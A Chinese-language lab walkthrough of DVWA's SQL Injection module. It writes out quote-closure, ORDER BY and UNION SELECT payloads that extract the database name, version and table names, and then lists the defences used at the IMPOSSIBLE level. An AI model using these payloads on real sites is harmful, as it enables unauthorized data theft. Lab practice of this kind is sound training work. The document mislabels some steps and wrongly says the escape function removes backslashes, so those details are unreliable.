dvwa7——SQL Injection
LOW:
f12打开hackbar
一:判断注入类型
输入id=1'报错
闭合单引号 ,页面恢复正常
所以为单引号字符型
二:开始攻击
1.判断列数
?id=1' order by 2--+
到3的时候开始报错,所以一共两列
2.爆回显位置
?id=-1' union select 2,3--+
3.爆数据库名和版本号
?id=-1' union select database(),version()--+
4.爆表名
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
5.爆库名
(1)guestbook
(2)users
6.爆guestbook的数据:
MEDIUM:
发现界面变成了这样:
随便提交一个,submit的时候用bp抓包
抓到这些,我们发现这一关的提交形式从get变成了post,格式以红框内为准
继续打开hackbar,发现单引号双引号括号无论闭合不闭合都报错,所以我们判断为数字型
id=1 order by 3&Submit=Submit
到3的时候报错,所以一共两列
剩下的表单爆数据不再过多赘述
HIGH:
1' and 1=1#
1' and 1=2#
前者正常,后者无回显,所以是字符型注入
剩下回显和low一样
IMPOSSIBLE:
优化部分:
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
1.checktoken()
2.mysqli_real_escape_string()转义函数去除反斜杠
3.pdo预处理,参数化查询
4.limit 1限制返回结果
5.generateSessionToken()在文件末尾生成新token供下次使用
6.captcha验证(recaptcha_check_answer())(人机验证)